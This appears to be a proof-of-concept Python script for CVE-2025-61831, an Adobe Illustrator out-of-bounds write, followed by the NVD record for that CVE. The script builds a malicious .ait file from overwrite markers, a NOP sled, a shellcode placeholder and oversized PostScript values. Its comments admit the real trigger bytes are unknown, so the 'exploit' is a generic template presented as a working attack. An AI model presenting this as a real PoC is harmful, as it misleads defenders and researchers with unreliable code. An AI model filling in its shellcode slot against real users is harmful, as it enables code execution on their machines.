CVE-2025-61831

# CVE-2025-61831 PoC - Adobe Illustrator Out-of-Bounds Write # This PoC demonstrates the vulnerability structure for Adobe Illustrator # Target: Adobe Illustrator versions 28.7.10, 29.8.2 and earlier import struct import os def create_malicious_illustrator_file(output_path): """ Generate a malicious Adobe Illustrator file to trigger CVE-2025-61831 The vulnerability is an out-of-bounds write in file parsing """ # Adobe Illustrator file signature (AI format) header = b'%!PS-Adobe-3.0\n' # Malicious data structure designed to trigger OOB write # This structure exploits insufficient boundary checks in file parsing malicious_data = b'\x00' * 1024 # Padding to reach vulnerable parsing area # Crafted binary data to trigger out-of-bounds write # The specific bytes depend on the vulnerable parsing function exploit_payload = struct.pack('<I', 0x41414141) # Overwrite marker exploit_payload += struct.pack('<I', 0x42424242) # Additional overwrite exploit_payload += b'\x90' * 256 # NOP sled # Shellcode placeholder (would be actual malicious code in real exploit) # This would be position-independent shellcode for code execution shellcode_placeholder = b'SHELLCODE_PLACEHOLDER_' + b'\x00' * 100 # Malformed graphics objects to trigger parsing vulnerability malformed_objects = b'%%BoundingBox: -99999 -99999 99999 99999\n' malformed_objects += b'%%HiResBoundingBox: -999999.0 -999999.0 999999.0 999999.0\n' malformed_objects += b'/Pattern << /PatternType 1 >> def\n' malformed_objects += b'9999999 array astore\n' # Large array to trigger overflow # File trailer trailer = b'%%EOF\n' # Combine all components malicious_file = header + malicious_data + exploit_payload + shellcode_placeholder malicious_file += malformed_objects + trailer # Write the malicious file with open(output_path, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious Illustrator file created: {output_path}") print(f"[+] File size: {len(malicious_file)} bytes") print("[*] Target: Adobe Illustrator <= 28.7.10, <= 29.8.2") print("[*] Vulnerability: Out-of-bounds write in file parsing") if __name__ == '__main__': output_file = 'CVE-2025-61831_malicious.ait' create_malicious_illustrator_file(output_file) print("\n[!] This PoC is for educational and security research purposes only.") print("[!] Do not use for malicious purposes.")

{"cve": {"id": "CVE-2025-61831", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:42.697", "lastModified": "2025-11-12T18:27:11.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Illustrator versions 28.7.10, 29.8.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "28.0", "versionEndIncluding": "28.7.10", "matchCriteriaId": "7D0AE3A2-68F8-45C8-AE0C-4EC7073E7A73"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:illustrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "29.0", "versionEndExcluding": "29.8.3", "matchCriteriaId": "CB85E8A0-7383-46A0-8C3C-7C1A85146383"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/illustrator/apsb25-109.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}